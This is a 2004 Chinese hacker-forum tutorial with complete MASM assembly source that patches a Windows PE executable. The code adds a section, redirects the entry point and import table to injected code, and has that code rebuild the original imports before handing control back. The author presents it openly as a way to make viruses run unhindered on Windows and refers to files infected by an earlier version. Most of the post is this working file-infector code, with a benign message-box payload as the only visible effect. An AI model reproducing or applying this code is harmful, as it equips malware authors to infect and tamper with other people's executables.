标题:
PE引入表修改实战
[打印本页]
作者:
慕容豪情
时间:
2004-9-1 20:23
标题:
PE引入表修改实战
这次教给大家的是,如何利用程序修改PE文件引入表,并且程序本身还可以自动装载原引入表。 什么?你不知道引入表是什么东东? 那你还是先去复习一下PE文件格式再来吧。 什么???你问我有什么用处? 用处当然不小,如果你喜欢做病毒的话,利用本文章讲述的方法,可以让你的病毒在WINDOWS下畅通无阻。 .386p .model flat,stdcall include win32.inc extrn MessageBoxA:proc extrn Exitprocess:proc extrn GetModuleHandleA:proc extrn CreateFileA:proc extrn SetFilePointer:proc extrn Readfile:proc extrn Writefile:proc extrn CloseHandle:proc ;本程序中所用到的API函数的声明 ;------------------------------------(上面的)-- GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h FILE_SHARE_READ equ 1h FILE_SHARE_WRITE equ 2h OPEN_EXISTING equ 3 FILE_ATTRIBUTE_NORMAL equ 80h INVALID_HANDLE_value equ -1 FILE_BEGIN equ 0 FILE_CURRENT equ 1 FILE_END equ 2 FILE_ATTRIBUTE_ARCHIVE equ 20h PAGE_READWRITE equ 4 FILE_MAP_WRITE equ SECTION_MAP_WRITE SECTION_MAP_WRITE equ 0002h ; ;文件操作API函数所要用到的相关的常量声明 ;------------------------------------(上面的)-- IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16 IMAGE_DATA_DIRECTORY STRUCT VirtualAddress dword ? isize dword ? IMAGE_DATA_DIRECTORY ENDS IMAGE_OPTIONAL_HEADER32 STRUCT Magic WORD ? MajorLinkerVersion BYTE ? MinorLinkerVersion BYTE ? SizeOfCode dword ? SizeOfInitializedData dword ? SizeOfUninitializedData dword ? AddressOfEntryPoint dword ? BaseOfCode dword ? BaseOfData dword ? ImageBase dword ? SectionAlignment dword ? FileAlignment dword ? MajorOperatingSystemVersion WORD ? MinorOperatingSystemVersion WORD ? MajorImageVersion WORD ? MinorImageVersion WORD ? MajorSubsystemVersion WORD ? MinorSubsystemVersion WORD ? Win32Versionvalue dword ? SizeOfImage dword ? SizeOfHeaders dword ? CheckSum dword ? Subsystem WORD ? DllCharacteristics WORD ? SizeOfStackReserve dword ? SizeOfStackCommit dword ? SizeOfHeapReserve dword ? SizeOfHeapCommit dword ? LoaderFlags dword ? NumberOfRvaAndSizes dword ? DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>) IMAGE_OPTIONAL_HEADER32 ENDS IMAGE_FILE_HEADER STRUCT Machine WORD ? NumberOfSections WORD ? TimeDateStamp dword ? PointerToSymbolTable DWord ? NumberOfSymbols dword ? SizeOfOptionalHeader WORD ? Characteristics WORD ? IMAGE_FILE_HEADER ENDS IMAGE_NT_HEADERS STRUCT Signature dword ? FileHeader IMAGE_FILE_HEADER <> OptionalHeader IMAGE_OPTIONAL_HEADER32 <> IMAGE_NT_HEADERS ENDS ; PE文件结构的相关声明 ;------------------------------------(上面的)-- my_section struc obj_name db '.data',0,0,0 ; 块名 virt_size dd 0 ; 块长 virt_addr dd 0 ; 该块RVA地址 raw_size dd 0 ; 该块物理长度 raw_offset dd 0 ; 该块物理偏移 unused dd 0,0,0 ; 未用 obj_flags dd 0E0000020h ; 属性 (r/w/c/x) my_section ends ; PE文件节的结构声明(有些值可以事先填好) ;------------------------------------(上面的)-- .data buffer db "E:\masm32\vbin\a.exe",0 ; 调试时请修改上面这个文件名 ;------------------------------------(上面的)-- PE_head_addr dd 0 checker_len dd 0 PE_head IMAGE_NT_HEADERS <0> ; PE文件头的结构 Section_table db 280h dup (0) Head_len equ size PE_head+size Section_table ; PE文件头和块表的长度 Import_len equ vImport_End-v_ImportA new_section my_section <> hFile dd 0 now_in dd 0 now_base dd 0 now_basein dd 0 byte_read dd 0 Section_addr dd 0 temp_virt_addr dd 0 temp_raw_size dd 0 Err_Title db "非法操作",0 ErrB_str db "无法填加新节!",0 OK_Title db "提示",0 OK_Msg db "程序运行完毕!",0 ; 稍后要用到的一些变量 ;------------------------------------(上面的)-- .code start: call MakePe call MessageBoxA,0,offset OK_Msg,offset OK_Title,64 call Exitprocess,0 ; 通过调用函数来操作吧 ;------------------------------------(上面的)-- ;------------------------------------------------- ; 下面这个函数,主要功能是填加一个新节、修改PE ; 头、导入自建的引入表、保存原引入表地址 ; 大部份内容在我的另一篇文章 ; <> ; 中已有说明,详情请见那一篇文章。 ; 在此只注释一下特别之处。 ;------------------------------------------------- MakePe proc uses edi esi eax ecx edx ebx call CreateFileA,offset buffer,GENERIC_READ or GENERIC_WRITE, \ FILE_SHARE_READ or FILE_SHARE_WRITE, \ NULL,OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL,NULL .if eax!=INVALID_HANDLE_value mov [hFile],eax call SetFilePointer,[hFile],3ch,0,FILE_BEGIN call ReadFile,[hFile],offset PE_head_addr,4,offset byte_read,0 .if eax!=0 call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN call ReadFile,[hFile],offset PE_head,Head_len,offset byte_read,0 push [PE_head.OptionalHeader.AddressOfEntryPoint] pop [now_in] push [PE_head.OptionalHeader.ImageBase] pop [now_base] ;-------------------------------------------- push [PE_head.OptionalHeader.ImageBase] pop [BASE_RVA] ;-------------------------------------------- mov eax,[now_in] add eax,[now_base] mov [now_basein],eax mov [Src_addr],eax movzx eax,[PE_head.FileHeader.SizeOfOptionalHeader] add eax,18h mov [Section_addr],eax mov [checker_len],offset vend-offset vstart movzx eax,[PE_head.FileHeader.NumberOfSections] inc eax mov ecx,28h mul ecx add eax,[Section_addr] add eax,[PE_head_addr] .if eax>[PE_head.OptionalHeader.SizeOfHeaders] call MessageBoxA,0,offset ErrB_str,offset Err_Title,64 .else mov esi,offset Section_table ;---------------------------------------------- pushad push esi push ecx movzx ecx,[PE_head.FileHeader.NumberOfSections] loops: .if ecx==0 jmp loopend .endif or [esi+24h],80000000h add esi,28h dec ecx jmp loops loopend: pop ecx pop esi popad ; 这篇文章的代码是从我的<>中提 ; 提出来的,那个软件需要读写PE中的某些节,因 ; 此我将所有节的属性全部改成符合条件的。 ; 在本程序中并没有并要做这一步,但还是留下吧。 ;------------------------------------(上面的)-- movzx eax,[PE_head.FileHeader.NumberOfSections] mov ecx,28h mul ecx add esi,eax inc [PE_head.FileHeader.NumberOfSections] mov edi,offset new_section xchg edi,esi mov eax,[edi-28h+8] add eax,[edi-28h+0ch] ;-------------------------------------------------- mov [temp_virt_addr],eax ;存未对齐时的RVA ; 保存此值稍后计算 SizeOfImage 值时会用到 ; 请看观留意下面的代码。 ;------------------------------------(上面的)-- mov ecx,[PE_head.OptionalHeader.SectionAlignment] cdq div ecx test edx,edx jz nextgoa inc eax nextgoa: mul ecx mov [new_section.virt_addr],eax ;--------------------------------------------- mov eax,[PE_head.OptionalHeader.DataDirectory(8).VirtualAddress] mov [MI_RVA],eax ; 保存原引入表地址 ;------------------------------------(上面的)-- push 0 pop [PE_head.OptionalHeader.DataDirectory(88).VirtualAddress] ; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT清零 ; 此值必须清为0,否则Win2000中,程序无法正常 ; 运行。 ;------------------------------------(上面的)-- mov eax,v_ImportA-vstart add eax,[new_section.virt_addr] mov [PE_head.OptionalHeader.DataDirectory(8).VirtualAddress],eax mov [PE_head.OptionalHeader.DataDirectory(8).isize],Import_len add DWord ptr [v_ImportA],eax add DWord ptr [v_DllNameA],eax add DWord ptr [v_FThunkA],eax add DWord ptr [Ker_API],eax add DWord ptr [Ker_API+4],eax add DWord ptr [Ker_API+8],eax add DWord ptr [Ker_API+0Ch],eax add DWord ptr [Ker_API+10h],eax add DWord ptr [Ker_API+14h],eax add DWord ptr [Ker_API+18h],eax add DWord ptr [Ker_API+1Ch],eax add DWord ptr [Ker_API+20h],eax add DWord ptr [Ker_API+24h],eax add DWord ptr [Ker_API+28h],eax add DWord ptr [Ker_API+2Ch],eax add DWord ptr [Ker_API+30h],eax add DWord ptr [Ker_API+34h],eax add DWord ptr [Ker_API+38h],eax add DWord ptr [Ker_API+3ch],eax add DWord ptr [Ker_API+40h],eax add DWord ptr [vGetprocAddress],eax add DWord ptr [vGetModuleHandleA],eax add DWord ptr [vLoadLibraryA],eax add DWord ptr [vExitprocess],eax add DWord ptr [vCreateFileA],eax add DWord ptr [vCreateFileMappingA],eax add DWord ptr [vGetTempPathA],eax add DWord ptr [vGetTempFileNameA],eax add DWord ptr [vlstrlen],eax add DWord ptr [vMapViewOfFile],eax add DWord ptr [vWriteFile],eax add DWord ptr [vUnmapViewOfFile],eax add DWord ptr [vCloseHandle],eax add DWord ptr [vCopyFileA],eax add DWord ptr [vGetModuleFileNameA],eax add DWord ptr [vDeleteFileA],eax add DWord ptr [vWinExec],eax add DWord ptr [v_ImportB],eax add DWord ptr [v_DllNameB],eax add DWord ptr [v_FThunkB],eax add DWord ptr [Use_API],eax add DWord ptr [vMessageBoxA],eax ; 往PE文件中导入自建的PE引入表的信息 ; 将引入表中相关地址进行定位 ;------------------------------------(上面的)-- mov eax,[checker_len] ;-------------------------------------------------- mov [temp_raw_size],eax ;存未对齐时的物理大小 ; 保存此值稍后计算 SizeOfImage 值时会用到 ; 请看观留意下面的代码。 ;------------------------------------(上面的)-- mov ecx,[PE_head.OptionalHeader.FileAlignment] div ecx test edx,edx jz nextgob inc eax nextgob: mul ecx mov [new_section.raw_size],eax mov eax,[checker_len] mov ecx,[PE_head.OptionalHeader.SectionAlignment] div ecx test edx,edx jz nextgoc inc eax nextgoc: mul ecx mov [new_section.virt_size],eax mov eax,[edi-28h+14h] add eax,[edi-28h+10h] mov [new_section.raw_offset],eax ;------------------------------------------------------- mov eax,[new_section.virt_addr] add eax,[temp_raw_size] mov ecx,[PE_head.OptionalHeader.SectionAlignment] div ecx test edx,edx jz nextgod inc eax nextgod: mul ecx mov [PE_head.OptionalHeader.SizeOfImage],eax ; 计算SizeOfImage。 ; 在上篇文章中,有人曾经提到,利用上一篇文章的 ; 代码在Win2000中感染的EXE文件无法执行,原因是 ; 因为Win2000对PE文件要求非常严,稍有不对的地 ; 方,就无法执行,就像这个地方,在计算SizeOfImage ; 时要将两个未对齐的数相加后再对齐,然后存入 ; SizeOfImage才可以在98/2000下一路通。 ; 上篇文章是将两个数对齐后相加再对齐,虽然在98 ; 下没问题,但是在2000下却提示:非法EXE文件 ;------------------------------------(上面的)-- mov ecx,28h rep movsb mov eax,[new_section.virt_addr] mov [PE_head.OptionalHeader.AddressOfEntryPoint],eax call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN call WriteFile,[hFile],offset PE_head,Head_len,offset byte_read,0 call SetFilePointer,[hFile],[new_section.raw_offset],0,FILE_BEGIN mov eax,offset vstart call WriteFile,[hFile],eax,[new_section.raw_size],offset byte_read,0 call CloseHandle,[hFile] push 0 pop [hFile] .endif .endif .endif mov eax,0 .if [hFile]!=eax call CloseHandle,[hFile] .endif ret MakePe endp .data vstart: call nowstart nowstart: pop ebp sub ebp,offset nowstart ;-------------------------------------------- lea eax,[WelComeTitle+ebp] push 64 push eax lea eax,[WelComeMsg+ebp] push eax push 0 call [vMessageBoxA+ebp] ; ; 本代码对EXE文件操作后,只显示一个对话框 ;------------------------------------(上面的)-- mov edx,[BASE_RVA+ebp] ;通过预先保存的基址和IMPORT地址 mov esi,[MI_RVA+ebp] ;得到当前IMPORT地址 add esi,edx Next_DLL: mov eax,[esi+0ch] ;读取DLL文件模块 or eax,eax jz Dll_END add eax,edx mov ebx,eax push eax call [vGetModuleHandleA+ebp] or eax,eax jnz Dll_LOADED push ebx call [vLoadLibraryA+ebp] or eax,eax jnz Dll_LOADED Exit_LOADER: lea eax,[MI_ERR_TITLE+ebp] push 64 push eax lea eax,[MI_ERR_TEXTS+ebp] push eax push 0 call [vMessageBoxA+ebp] push 0 call [vExitprocess+ebp] Dll_LOADED: mov [hDll+ebp],eax ;保存模块句柄 mov [FunTable_Count+ebp],0 ;函数表的索引 两个地址之间相隔一个双字 Next_FUNCTION: mov edx,[BASE_RVA+ebp] mov eax,[esi] or eax,eax jnz Hint_OK mov eax,[esi+10h] Hint_OK: add eax,edx add eax,[FunTable_Count+ebp] mov ebx,[eax] ;;;;;; mov edi,[esi+10h] add edi,edx add edi,[FunTable_Count+ebp] ;;;;;; test ebx,ebx jz Function_END test ebx,80000000h jnz Function_ORDINAL add ebx,edx add ebx,2 jmp Function_GOON Function_ORDINAL: and ebx,0FFFFFFFh Function_GOON: push ebx push DWord ptr [hDll+ebp] call [vGetprocAddress+ebp] or eax,eax jz Exit_LOADER mov [edi],eax add [FunTable_Count+ebp],4 jmp Next_FUNCTION Function_END: add esi,14h mov edx,[BASE_RVA+ebp] jmp Next_DLL Dll_END: ; 程序自已导入原引入表 ; 大体介绍一下原理吧,先看看当前函数所在的 ; DLL文件是否已在内存中,不是就载入。 ; 继而再得到函数的地址,保存之。 ; 以前我在编写此处时用SoftICE调试了很长时间 ; 建议你也用SoftICE或TRW2000等类似工具调试 ; 一下,会受益非浅的。 ;------------------------------------(上面的)-- mov eax,[Src_addr+ebp] jmp eax align 4 v_ImportA dd Ker_API-v_ImportA ;IMAGE_THUNK_DATA 数组指针 v_TimeDateA dd 0 ;文件建立时间 v_ForChainA dd 0 ;0 v_DllNameA dd KerName-v_ImportA ;DLL名称 v_FThunkA dd vGetprocAddress-v_ImportA ;IMAGE_THUNK_DATA 数组指针 v_ImportB dd Use_API-v_ImportA ;IMAGE_THUNK_DATA 数组指针 v_TimeDateB dd 0 ;文件建立时间 v_ForChainB dd 0 ;0 v_DllNameB dd UserName-v_ImportA ;DLL名称 v_FThunkB dd vMessageBoxA-v_ImportA ;IMAGE_THUNK_DATA 数组指针 dd 20 dup (0) ;引入表结束符 KerName db 'KERNEL32.DLL',0 Ker_API dd KAPI_A-v_ImportA dd KAPI_B-v_ImportA dd KAPI_C-v_ImportA dd KAPI_D-v_ImportA dd KAPI_E-v_ImportA dd KAPI_F-v_ImportA dd KAPI_G-v_ImportA dd KAPI_H-v_ImportA dd KAPI_I-v_ImportA dd KAPI_J-v_ImportA dd KAPI_K-v_ImportA dd KAPI_L-v_ImportA dd KAPI_M-v_ImportA dd KAPI_N-v_ImportA dd KAPI_O-v_ImportA dd KAPI_P-v_ImportA dd KAPI_Q-v_ImportA dd 0 UserName db 'USER32.DLL',0 Use_API dd UAPI_A-v_ImportA dd 0 vGetprocAddress dd 0 vGetModuleHandleA dd 0 vLoadLibraryA dd 0 vExitprocess dd 0 vCreateFileA dd 0 vCreateFileMappingA dd 0 vGetTempPathA dd 0 vGetTempFileNameA dd 0 vlstrlen dd 0 vMapViewOfFile dd 0 vWriteFile dd 0 vUnmapViewOfFile dd 0 vCloseHandle dd 0 vCopyFileA dd 0 vGetModuleFileNameA dd 0 vDeleteFileA dd 0 vWinExec dd 0 vMessageBoxA dd 0 dd 0 KAPI_A db 0,0,'GetprocAddress',0 KAPI_B db 0,0,'GetModuleHandleA',0 KAPI_C db 0,0,'LoadLibraryA',0 KAPI_D db 0,0,'Exitprocess',0 KAPI_E db 0,0,'CreateFileA',0 KAPI_F db 0,0,'CreateFileMappingA',0 KAPI_G db 0,0,'GetTempPathA',0 KAPI_H db 0,0,'GetTempFileNameA',0 KAPI_I db 0,0,'lstrlen',0 KAPI_J db 0,0,'MapViewOfFile',0 KAPI_K db 0,0,'WriteFile',0 KAPI_L db 0,0,'UnmapViewOfFile',0 KAPI_M db 0,0,'CloseHandle',0 KAPI_N db 0,0,'CopyFileA',0 KAPI_O db 0,0,'GetModuleFileNameA',0 KAPI_P db 0,0,'DeleteFileA',0 KAPI_Q db 0,0,'WinExec',0 UAPI_A db 0,0,'MessageBoxA',0 ; 根据引入表的格式,自建的引入表。 ;------------------------------------(上面的)-- align 4 vImport_End: ;---------------------------- MI_RVA dd 0 BASE_RVA dd 0 hDll dd 0 FunTable_Count dd 0 ;函数表中的索引 MI_ERR_TITLE db "系统错误!",0 MI_ERR_TEXTS db "资源无法装入,请与软件供应商联系!",0 ;---------------------------- Src_addr dd 0 WelComeMsg db '欢迎光临我的网站 Http://www.vbin.org',0 WelComeTitle db '彬 (vBin) 欢迎您!',0 ; 相关变量 ;------------------------------------(上面的)-- vend: end start
欢迎光临 黑色海岸线论坛 (http://bbs.thysea.com/)
Powered by Discuz! 7.2